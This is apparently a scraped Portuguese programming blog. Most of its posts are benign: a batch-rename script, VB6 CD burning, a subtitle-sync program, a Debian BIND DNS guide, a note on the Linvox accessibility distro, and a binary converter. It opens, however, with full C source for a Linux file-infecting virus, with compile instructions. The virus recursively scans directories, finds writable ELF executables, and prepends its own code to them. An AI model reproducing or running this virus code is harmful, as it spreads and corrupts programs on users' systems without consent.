#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80

#define tamVir 12239 /* Tamanho do Vírus
Após o vírus ser compilado, use o ls -l para descobrir o tamanho do executável e use o tamanho aqui */

char codvirus [tamVir]; /* conterá o código do vírus */

const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */

int _USER_;
int _GROUP_;
char *_PATH_;

void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo, foi feita gravando byte por byte, pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado.

No Windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp.

No Linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário.

Então, pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que o usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?

Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias instâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória indefinidamente, essa solução me pareceu melhor.*/

   FILE *file_exec;
   FILE *file_tmp;

   char buf[1024];
   char *tmp;
   long i;

   if (!(file_exec=fopen(_arq, "rw+"))) return;

   tmp=(char *)malloc(strlen (_arq)+4);
   strcpy (tmp, _arq);
   strcat (tmp,".tmp");

   if (file_tmp=fopen(tmp, "w+"))
   {

      unlink(tmp);
      /* Copiando o hospedeiro para o temporário */
      while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);

      /* Voltando ao início dos arquivos */
      fseek(file_tmp,0 ,SEEK_SET);
      fseek(file_exec,0 ,SEEK_SET);

      /* copiando para dentro do arquivo original, poupamos tempo com permissões.
      Gravando o código do vírus no arquivo temporário*/
      fwrite(codvirus,1,tamVir,file_exec);

      /* voltando o original para depois do vírus */
      while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
   }
   free(tmp);
   close (file_tmp);
   close (file_exec);
}

void tentaInfectar (char *arq)
{
   FILE *file_exec;
   long ret;
   char bout[25];
   int i;

   /* vamos pegar os atributos do arquivo */
   struct stat attrib;
   stat(arq, &attrib);

   /* verificando se o arquivo é binário
   Todo executável binário assim como no Windows tem um cabeçalho identificando.
   Não sei o significado mas abri vários binários e sem exceção eles têm os seguintes primeiros.
   24 byts = CABEC_EXEC */

   if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direito de leitura, não serve */

   ret = fread (bout, 1, 24, file_exec);
   /*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
   if (ret <= 0)
   {
      close (file_exec);
      return;
   }

   for (i=0; i<=23; i++)
   {
      /* Se tiver alguma diferença no cabeçalho, não é binário */
      if (CABEC_EXEC[i] != bout[i])
      {
         close (file_exec);
         return;
      }
   }

   /* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */
   if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;

   infecta (arq, attrib);
}

void buscaInfecta (char *d)
{
   struct dirent *dir;
   DIR *path;
   char *strArq;
   char *dt;
   int tam;

   tam = strlen(d);
   dt=(char *)malloc (tam+1);
   strcpy (dt, d);
   /* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/
   if (dt[tam-1]=='/')
   {
      dt[tam-1]='\0';
      tam--;
   }

   if (!(path=opendir (dt))) { free (dt); return; }
   while(dir = readdir(path))
   {
      usleep (1000);
      strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
      strcpy (strArq, dt);
      strcpy (&strArq[tam], "/");
      strcpy (&strArq[tam+1], dir->d_name);

      if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
         buscaInfecta (strArq);
      else if (dir->d_type==8)
         tentaInfectar (strArq);

      free (strArq);
   }
   closedir (path);
   free (dt);
}

void pegaDadosExport (void)
{
   /* Pegando a Variável PATH do sistema */
   _PATH_ = getenv("PATH");

   /* pegando id do usuário e do grupo do usuário que está executando a aplicação */
   _USER_ = getuid();
   _GROUP_= getgid();
}

int pegaCodVirus (char *exec)
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */

   FILE *file_exec;
   char *diret;
   char *tmp;
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(exec,"r")))
   {
      tamstr=strlen(exec);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='\0';
            strcat (diret, "/");
            strcat (diret, exec);

            if (file_exec=fopen(diret,"r"))
            {
               free (diret);
               achou = 1;
               break;
            }

            free (diret);
            if (_PATH_[i]=='\0') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return 0;
   }

   ret = fread (codvirus, 1, tamVir, file_exec);
   if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
   {
      close (file_exec);
      return 0;
   }

   close (file_exec);
   return 1;
}

void executaHospedeiro (char *exec, int qtde, char *param[])
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */

   FILE *file_exec;
   FILE *file_tmp;
   char *diret;
   char *tmp;
   char tmpstr[1024];
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;
   char prog[512];

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(param[0],"r")))
   {
      tamstr=strlen(param[0]);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='\0';
            strcat (diret, "/");
            strcat (diret, param[0]);

            if (file_exec=fopen(diret,"r"))
            {
               free (diret);
               achou = 1;
               break;
            }

            free (diret);
            if (_PATH_[i]=='\0') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return;
   }

   strcpy (prog,exec);

   for (ret=1; ret<qtde; ret++)
   {
      strcat (prog," ");
      strcat (prog,param[ret]);
   }

   if (!(file_tmp=fopen(exec,"w+")))
   {
      close (file_tmp);
      return;
   }

   fseek(file_exec,tamVir,SEEK_SET);
   while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);

   close (file_exec);
   close (file_tmp);

   chmod (exec,493);

   system (prog);

   unlink(prog);
   return;
}

int main (int argc, char *argv[])
{
   int i;

   i=fork();

   if (i==0)
   {
      pegaDadosExport ();

      /* pega o código binário do vírus para infectar os outros ou então pula a infecção */
      if (pegaCodVirus (argv[0])) buscaInfecta ("./");
      acao;
   }
   else executaHospedeiro ("./arqexec", argc, argv);
}

Compilar com:

$ gcc virus1.c -o virus

O valor de "tamVir" irá variar de acordo com a ação escolhida. Compile o vírus, use o ls -l para verificar o tamanho do executável e modifique o valor de acordo com a tamanho encontrado. Compile novamente o vírus.

A execução do hospedeiro está retornando a seguinte mensagem: "Área de texto ocupada".

Deixei essa parte para quem quiser resolver, já que essa parte 1 é apenas para começar a ilustrar o funcionamento do vírus.

Script para renomear todos os arquivos

2009-03-27T07:55:00.000-07:00

Visitas

Uma das coisas que sentia falta no linux era um comando fácil para renomear todos os arquivos de uma só vez, como no DOS ren *.txt *.bkp

Esse script renomeia qualquer parte do arquivo, sendo que não precisa o * pois pressupõe-se que ele será usado para renomear todos os arquivos de uma pasta. O escript recebe 2 parâmetros: o que será substituído e o que substituirá.

ex.:
mvall .txt .html #renomeia todo arquivo .txt para .html
mvall 2 4 #altera qualquer ocorrência de 2 para 4

#!/bin/sh

if [ $# -le 1 ]; then
   echo "Faltando parametro. $0 <a substituir> <subistituto> "
   exit
fi

a="*"$1"*"

for o in $(ls -1 $a); do
   if [ -f $o ]; then
      mv $o "${o//$1/$2}"
   fi
done

Gravação de CD/DVD com API do Windows

2009-03-26T11:27:00.000-07:00

Visitas

Abra um projeto no Visual Basic 6.

Adicione a referência (Projetc > References) "VB CD Mastering API Type Library".

Inclua o Código Abaixo.

Dim VcSCDBurner As cSimpleCDBurner

Sub GravaCD (ByVal arq As String)
   Set VcSCDBurner = New cSimpleCDBurner

   'Você também pode passar o Handle como parâmetro
   VcSCDBurner.Initialise Me.hwnd

   'Verificando se tem unidade de Gravação de CD/DVD
   If Not VcSCDBurner.HasRecordableDrive Then Exit Sub

   'Se quiser saber Qual a Unidade de CD basta usar
   Dim Unid As String
   Unid = VcSCDBurner.RecorderDriveLetter

   'Copiando o arquivo para pasta temporária de gravação
   'Neste ponto, você pode copiar pasta, vários arquivo, renomeando;
   'depende de sua necessidade
   FileCopy arq, VcSCDBurner.BurnStagingAreaFolder

   'Executando o assistente de gravação do Windows
   VcSCDBurner.Burn

End Sub

Obs.: A gravação só está disponível para versões do Windows Superiores ao Windows XP. Para identificar a versão do Windows.

O arquivo responsável pela API é o IVBIMAPI.tlb.

Ajustando o sincronismo da legenda com o filme

2009-03-26T09:06:00.000-07:00

Visitas

O programa utiliza o ajuste passado como parâmetro para
sincronizar a legenda dos filmes. são aceitos valores negativos
e positivos em milisegundos.

exemplo: Se a legenda estiver com atrazo de 1 min e 2,345 s
será utilizado um ajuste de - (1*60*1000) + (2 * 1000) + 345 = -62345

O código pode ser usado, distribuído e melhorado sem nenhuma restrição.
Peço que em caso de meloras, me envie a melhoria para que eu tenha também.
gjr_rj@msn.com

/*
Programa para sincronização de legendas no formato srt.
Por: Geraldo José Ferreira Chagas Júnior
20/07/2008
compilador: gcc - GNU/Linux
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int TAMLINHA=256;

long strToMili (char* str);
void miliToStr (long mili, char* str);

int main (int argc, char* argv[])
{
   char opc;
   char* arqOri;
   char* arqDest;
   long ajust;

   FILE* fOri;
   FILE* fDest;

   long tamArq;

   /* esse jogo com as duas variáveis de percentual servira para não ficar
   imprimindo o percentual o tempo todo, caso não tenha mudado*/
   int percent;
   int percentAnt=-1;

   char linha [TAMLINHA];
   char temp [20];

   char* sub;
   int pos;

   if (argc != 4)
   {
      printf ("Os parâmetros são:\n");
      printf ("1 - Arquivo a ser convertido\n");
      printf ("2 - Ajuste da sincronização em milisegundos\n");
      printf ("3 - Arquivo sincronizado\n");
      return 0;
   }

   arqOri = argv[1];
   arqDest = argv[3];
   ajust = atoi (argv[2]);

   if (!(fOri=fopen(arqOri, "r")))
   {
      printf ("Erro na abertura do arquivo de origem !\n");
      return 0;
   }

   if ((fDest=fopen(arqDest, "r")))
   {
      close (fDest);
      printf ("O aquivo de destino %s já existe. Deseja substitui-lo (s/n) ? ", arqDest);
      opc = getchar();
      if ((opc!='S') && (opc!='s')) exit (0);
   }

   if (!(fDest=fopen(arqDest, "w+")))
   {
      printf ("Erro na abertura do arquivo de destino !\n");
      return 0;
   }

   /* pegando o tamanho do arquivo de origem para imprimir a porcentagem */
   fseek (fOri, 0, SEEK_END);
   tamArq = ftell (fOri);
   /* voltando ao inicio do arquivo */
   fseek (fOri, 0, SEEK_SET);

   printf ("0 %c convertido.",'%');
   while (fgets (linha, TAMLINHA, fOri))
   {

      if (sub=strstr(linha," --> "))
      {
         pos = sub - &linha[0];
         strcpy (temp, &linha[pos+5]);
         miliToStr (strToMili (linha)+ajust, linha);
         miliToStr (strToMili (temp)+ajust, temp);
         strcat (linha, " --> ");
         strcat (linha, temp);
         strcat (linha, "\n");
      }

      fputs (linha, fDest);

      percent = ftell (fOri) * 100 / tamArq;

      if (percent!=percentAnt)
      {
         printf ("\r%d %c convertido.",percent,'%');
         percentAnt=percent;
      }
   }

   printf("\n");
   close (fOri);
   close (fDest);
}

long strToMili (char* str)
{
   char temp[10];
   long h;
   long m;
   long s;

   int i=0;
   int j=0;

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   h=atoi(temp) * 60 * 60 * 1000;
   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   m=atoi(temp) * 60 * 1000;

   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':') || (str[i]==',')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   s=atoi(temp) * 1000;

   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if (str[i]==' ') break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   return (h + m + s + atoi(temp));
}

void miliToStr (long mili, char* str)
{
   char temp[20];
   long h;
   long m;
   long s;
   int i;

   h = (mili - (mili % 3600000)) / 3600000;
   mili = mili-(h*3600000);

   m = (mili - (mili % 60000)) / 60000;
   mili = mili-(m*60000);

   s = (mili - (mili % 1000)) / 1000;
   mili = mili-(s*1000);

   snprintf(str,20,"%2d:%2d:%2d,%3d", h, m , s, mili);
   for (i=0;str[i]!='\0';i++)
   {
      if (str[0]==' ')
         str[0]='0';
      else if ((str[i]==' ') && (str[i-1] != '>') && (str[i+1] != '-'))
         str[i]='0';

   }

}

Configurando Servidor de Nomes - DNS (Debian)

2009-03-25T15:51:00.000-07:00

Visitas

Introdução

Referir-se aos hosts pelo seu endereço IP é bastante conveniente para computadores, porém para as pessoas o ideal é referir-se pelo seu nome. Para isso precisamos de uma tabela que converta o IP em nome e nome em IP.

Porém com o crescimento, já com milhares de computadores e outros milhares entrando, na internet fica impossível para qualquer um manter uma tabela desse tipo sempre atualizada. É ai que entra o servidor DNS, ou servidor de Nomes. O Servidor de nomes é uma base de dados, pública, mantida pelos sites que proporcionam a tradução já citada.

O arquivo hosts.txt
A velhos tempos, quando haviam poucos computadores conectados a ARPAnet (antiga rede predecessora da internet), cada computador tinha um arquivo hosts.txt, que depois foi alterado para o /etc/hosts no UNIX. Esse arquivo continha informações sobre todos os hosts da rede. Com tão poucos computadores, o arquivo era pequeno e fácil de mantê-lo atualizado.

A manutenção do arquivo hosts.txt era mantido pela SRI-NIC. Quando os administradores queriam fazer uma alteração no arquivo, enviavam a solicitação por e-mail. Quando uma alteração era feita, os administradores baixavam o arquivo via FTP.

A medida que a internet crescia, a idéia da administração centralizar os nomes dos hosts e a atualização do arquivo hosts.txt tornaram-se um grande problema, então a SRI-NIC projetou, no início dos anos 80, um banco de dados distribuído para substituir o hosts.txt. Esse novo sistema ficou conhecido como Domain Name System (DNS).

O DNS

O DNS é um banco de dados distribuído criado sob uma estrutura de domínio hierárquica. Cada computador que se conecta a internet o faz a partir de um domínio Internet. Cada domínio internet tem um nome de servidor com um banco de dados dos hosts em seu domínio. Quando um domínio se torna muito grande, a tarefa pode ser delegada a subdomínios, a fim de reduzir a carga administrativa.

O arquivo /etc/hosts
Ainda que o DNS se constitua no principal meio de resolução de nomes, ainda é encontrado na maioria das máquinas o arquivo /etc/hosts. Esse arquivo pode acelerar na resolução de nomes solicitados com freqüência, como o IP local. Além disso alguns nomes tem que ser resolvidos, no boot, antes que um DNS seja utilizado, como exemplo o caso de servidores NIS. Esse mapeamento é definido no arquivo /etc/hosts.

Exemplo de arquivo /etc/hosts:

#IP Endereço Alias
127.0.0.1 localhost
192.168.1.1 servidor www
72.51.46.57 www.vivaolinux.com.br vivaolinux

A coluna a esquerda é o IP a ser resolvido. A coluna seguinte é o nome do host correspondente àquele IP. Qualquer coluna seguinte será alias para o host.

Instalando o servidor DNS

No Debian a instalação do servidor de nomes é muito fácil, basta, como root, digitar o seguinte comando em um terminal:

# apt-get install bind

Com esse comando iremos instalar o bind, que é o padrão da distribuição Debian. Poderia ser instalado também o named, que pode ser a melhor opção para outras distribuições, porém, não entraremos nesse caso.

Obs.: O servidor DNS e o cliente DNS são diferentes.

Todo computador Linux habilitado para comunicar-se entre rede possui um software chamado de cliente DNS, também conhecido como resolver. O resolver simplesmente consulta um servidor DNS atribuído no arquivo /etc/resolv.conf. A consulta segue a ordem do arquivo.

Servidores DNS retornam os valores consultados após consultarem o arquivo /etc/bind/named.conf e as referências para as quais ele aponta. Os clientes perguntam e os servidores respondem, muitas vezes após consultarem outros servidores.

A confusão muitas vezes surge quando temos o cliente e o servidor em uma mesma máquina, principalmente quando o cliente consulta o servidor da mesma máquina. Por isso, sempre devemos lembrar de que o cliente ou resolver utiliza o /etc/resolv.conf. Todos os outros como o /etc/bind/named.conf e os arquivos apontados por ele pertencem ao servidor.

Terminologia DNS

Cliente DNS - Componentes de software em todos os computadores da rede que transformam o endereço IP em nome e nome em endereço IP. Em máquinas Linux Debian, o cliente busca informações no arquivo /etc/resolv.conf.

Resolvedor - Para propósitos práticos, um sinônimo para Cliente DNS.

Servidor DNS - Componente de software que retorna a tradução de endereço IP em nome e de nome em endereço IP ao cliente DNS que solicitou. Em máquinas Linux Debian, o servidor DNS busca suas configurações no arquivo /etc/bind/named.conf.

Resolver - Converte endereço IP em um nome e um nome em endereço IP. Isso é feito pelo DNS e às vezes por outro software.

Zona - Um subdomínio ou sub-rede sobre os quais um servidor DNS possui autoridade.

Mestre - Um servidor DNS com autoridade sobre uma zona cujos dados são derivados dos arquivos de dados local. Assim um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.

Primário - Sinônimo para mestre.

Escravo - Um servidor de nomes cuja autoridade sobre uma zona depende de dados derivados de outro servidor de nomes em uma zona de transferência. O outro servidor de nomes tanto pode ser um mestre como um outro escravo. Observe que um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.

Secundário - Sinônimo para escravo.

Zona de Transferência - Uma transferência feita entre um servidor DNS mestre ou escravo e um servidor DNS escravo. O escravo inicia a zona de transferência após um tempo de refresh ou após ser notificado de que os dados no servidor remetente foram alterados.

Configurando um servidor DNS

O servidor DNS é um sistema potencialmente complexo, configurado por uma série de arquivos surpreendentemente confiáveis. Esses arquivos são formados por um arquivo de boot e vários arquivos de dados de zona, onde cada arquivo de zona é apontado por um registro de zona no arquivo de boot.

Com os exemplos essa explicação ficará mais clara.

No Debian, com o bind instalado, o arquivo de boot DNS é o /etc/bind/named.conf.

Comentários neste arquivo podem ser feitos de três formas:

/* estilo c */
// estilo c++
# estilo shell

Outras declarações seguem o formato:

Keyword {statement; statement; ...; statement;};

Tudo neste arquivo é delimitado por chaves, espaço e ponto-e-vírgula. Logo, espaçamento múltiplos, tab, quebra de linha não afetam a configuração.

Inclua no arquivo o apontamento da zona que corresponde ao seu domínio, informando em qual arquivo ele deve procurar a configuração de zona quando o seu domínio for digitado.

zone "dominio.casa" { # domínio da rede que deseja incluir no DNS
type master;
file "/etc/bind/dominio.casa.zone"; # arquivo que conterá as informações para tradução do nome
};

Agora inclua o apontamento para o IP reverso. Neste caso, qualquer endereço ip na sub-rede especificada será tratada pelo arquivo apontado por ele.

zone "1.168.192.in-addr.arpa" { # endereço da sub-rede
type master;
file "/etc/bind/named.198.168.1"; # arquivo de configuração que tratará o IP
};

Os arquivos de zona, no nosso caso estarão na diretório /etc/bind/. Os arquivos de zona são apontados pela declaração zone do arquivo de boot.

A primeira coisa a entender sobre os arquivos de zona é que sua sintaxe é totalmente diferente do arquivo de boot named.conf.

Há 10 registros possíveis:

* SOA - inicialização de autoridade
* NS - nome do servidor
* A - registro de endereço
* PTR - registro de ponteiro
* MX - intercâmbio de carreio
* CNAME - nome canônico
* RP e TXT - as entradas de documento
* HINFO - informações sobre os host
* NULL - registro de recurso nulo sem formato de dados

Supondo que o endereço de sua sub-rede seja 192.168.1 e que o servidor é 192.168.1.1, o computador 1 é 192.168.1.2 e o computador 3 192.168.1.3.

Crie o primeiro arquivo o /etc/bind/dominio.casa.zone e adicione o seguinte código:

$TTL 604800
@ IN SOA dominio.casa. root.dominio.casa. ( # indica para qual domínio o SOA é obrigatório
200007201 ; serial (d. adams) # Serial que mostra aso DNS secundários como realizar transferência de zona
28800 ; refresh # indica o tempo em segundos de intervalo para o servidor DNS secundário consultar o primário para saber se houve alteração
14400 ; retry # tempo em segundo para conexão com o servidor primário caso a tentativa no tempo de refresh falhe
3600000 ; expiry # tempo de descarte das informações no cache
84400 ) ; minimum # indica quanto tempo os dados devem ser guardados no cache antes que expire a validade
;

www IN A 192.168.1.1
www2 IN A 192.168.1.1
www3 IN A 192.168.1.1
serv IN A 192.168.1.1
comp1 IN A 192.168.1.2
comp2 IN A 192.168.1.3

@ IN MX 10 dominio.casa.c
@ IN NS dominio.casa.
@ IN A 192.168.1.1

Neste caso o endereço www.dominio.casa, www2.dominio.casa, www3.dominio.casa e serv.dominio.casa se referem ao mesmo IP ao 192.168.1.1.

O host comp1.dominio.casa se refere ao IP 192.168.1.2 e comp2.dominio.casa te levará ao micro com IP 192.168.1.3.

No caso do IP reverso, crie o arquivo /etc/bind/named.198.168.1 com as seguintes linhas:

$TTL 604800
@ IN SOA dominio.casa. root.dominio.casa. (
2000072001 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum

@ IN NS dominio.casa.
10 IN PTR dominio.casa.

Os dados no arquivo de IP reverso tem o mesmo significado do arquivo anterior.

Linvox - Sistema Linux voltado para deficientes visuais

2009-03-25T11:04:00.000-07:00

Visitas

O DOSVOX

O DOSVOX é um sistema desenvolvido pelo Núcleo de Computação Eletrônica (NCE) da UFRJ dedicado aos deficientes visuais. Através de uma síntese de voz, a comunicação computador / usuário é feita dando total independência aos mesmos.

O "sistema" foi desenvolvido em princípio para o SO DOS, por isso o nome DOSvox, que não se alterou apesar da evolução do projeto. Hoje o DOSVOX pode ser utilizado até no Windows Vista.

O que diferencia o DOSVOX dos outros softwares de síntese de voz é que o DOSVOX não é um simples leitor de tela, o que faz com que deficientes se esforcem para entender layouts desenvolvidos para videntes. O DOSVOX é uma complexidade de sistema que leva em consideração as necessidades e limitações dos deficientes visuais, tornando assim os softwares agradáveis, fáceis e práticos sem interferir na eficiência.

Apesar de utilizar a primeira síntese de voz brasileira, nada impede que utilize outra síntese de voz ou outras sínteses comerciais incluindo sínteses em outros idiomas.

O DOSVOX é uma série de programas que permitem que as tarefas diárias sejam feitas sem esforço pelos cegos. O programa é composto de uma interface adaptativa para o sistema operacional, no qual permite fazer as operações básicas como copiar; mover, renomear, criar, excluir arquivos e diretórios, formatar mídias etc; navegador, correio eletrônico, editores de texto, bate-papo, trocador de arquivos, tocador de mídias e tudo que uma pessoa normalmente necessita ter no computador para seu uso diário e profissional.

A melhor parte do projeto é que praticamente todos os desenvolvedores são deficientes visuais. Exceto o Gerente do Projeto, meu grande amigo José Antônio Borges e na época EU. O projeto demostra a grande qualidade dos desenvolvedores cegos como Marcelo Pimentel e meus amigos: Bernard Condorcet, Neno ALbernaz e Renato Costa.

O LINVOX

O LINVOX é o início da transformação do sistema DOSVOX e seus utilitários para o sistema operacional Linux.

Essa necessidade mostra o crescimento do Linux que faz com que os softwares sejam criados para essa plataforma por necessidade de seus usuários. Neste caso específico mostrando o a necessidade da utilização para um grupo que muitos consideram inusitado.

Como avia necessidade de resultado em um curto espaço de tempo, essa primeira versão não foi rescrita para a plataforma Linux e sim optado pela utilização do emulador wine. O resultado segundo os desenvolvedores foi "extremamente satisfatório". Porém esperamos que um LINVOX nativo seja nos apresentado em breve.

A versão está disponível para o Kurumin 6.0.

Instalando o LINVOX
Quem já utiliza uma distribuição do Linux pode optar pela instalação manual. Porém quem não tem pode optar pela utilização de um CD com uma imagem ISO pré-configurada. Neste caso não é necessário a instalação do Linux na máquina, pois o CD é butável e contém o LINVOX baseado na distribuição Kurumin.

A imagem criada para rodar a partir do CDROM vem com o Kurumin, o Wine e o Linvox pré-configurado. Neste caso os arquivos serão carregados na memória fazendo com que seu desempenho dependa da velocidade do CD-ROM e da quantidade de memória disponível em sua máquina.

Também é possível através do ISO instalar o Lurumim, o Wine e o Linvox direto no HD, o que deixará a execução do Linvox mais rápida, porém essa instalação APAGARÁ O SEU HD.

As ISOs podem ser baixadas de:

* http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso

Verificador MD5:
http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso.md5

Para quem já utiliza o Linux e deseja fazer a instalação manual (Debian):

Instale o Wine:

# apt-get update
# apt-get install wine

Baixe o Linvox de:

* http://intervox.nce.ufrj.br/linvox/linvox-2.0.deb

# cd $HOME
# dpkg -i linvox-2.0.deb
# tar -zxvf linvox_local-2.0.tar.gz
# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)

Se o seu sistema não possui o comando dpkg, você pode usar ainda:

# cd /
# tar -zxvf linvox.tar.gz
# chmod -R 755 /opt/winvox
# cd $HOME
# tar -zxvf linvox_local-2.0.tar.gz
# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)

Estes comandos devem instalar o DOSVOX no diretório /opt da sua partição Linux e os arquivos com as configurações do WINE e do DOSVOX no seu diretório local.

Não esqueça de instalar o fonte "Courier New" com o comando "wine courier32.exe", para uma formatação adequada do DOSVOX para os videntes.

Para maiores informações visite o site do projeto:

* http://intervox.nce.ufrj.br/linvox/

Conversor binário

2009-03-25T09:39:00.000-07:00

Visitas

#include <stdio.h>
#include <string.h>
#define iifi(c) (((c)=='0') ? (0) : (1))

void intTohex (unsigned long int b, char* hex)
{
   char vet[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
   unsigned long int r;

   r = b % 0x10; hex[7] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[6] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[5] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[4] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[3] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[2] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[1] = vet[r]; b = b >> 0x4;

   hex[0] = vet[b];
   hex[8] = '\0';
}

unsigned long int binToInt (char *str)
{
   return iifi(str[0])*128 + iifi(str[1])*64 + iifi(str[2])*32 + iifi(str[3])*16 + iifi(str[4])*8 + iifi(str[5])*4 + iifi(str[6])*2 + iifi(str[7]);
}

void arruma (char *dest, char *ori)
{
   int i;
   int t;
   t=strlen(ori)-1;
   for (i=7; i>=0;i--)
   {
      if (t>=0) dest[i]=ori[t]; else dest[i]='0';
      t--;
   }
   dest[8]='\0';
}

char inToChar (unsigned long int val)
{
   if ((val > 32) && (val < 127)) return val; else return '.';
}

int main (int argc, char* argv[])
{
   char temp[9];
   unsigned long int valInt;
   char c;
   int i;

   if (argc<2)
   {
      printf ("Parametro incorreto.\n");
      printf ("Informe apenas os valores em binário\n");
      return 1;
   }

   for (i=1; i<argc;i++)
   {
      arruma(temp, argv[i]);
      valInt=binToInt(temp);
      intTohex(valInt,temp);
      c = inToChar (valInt);
      printf ("Inteiro=%d Hexa=%s char=%c\n",valInt, temp, c);
   }
}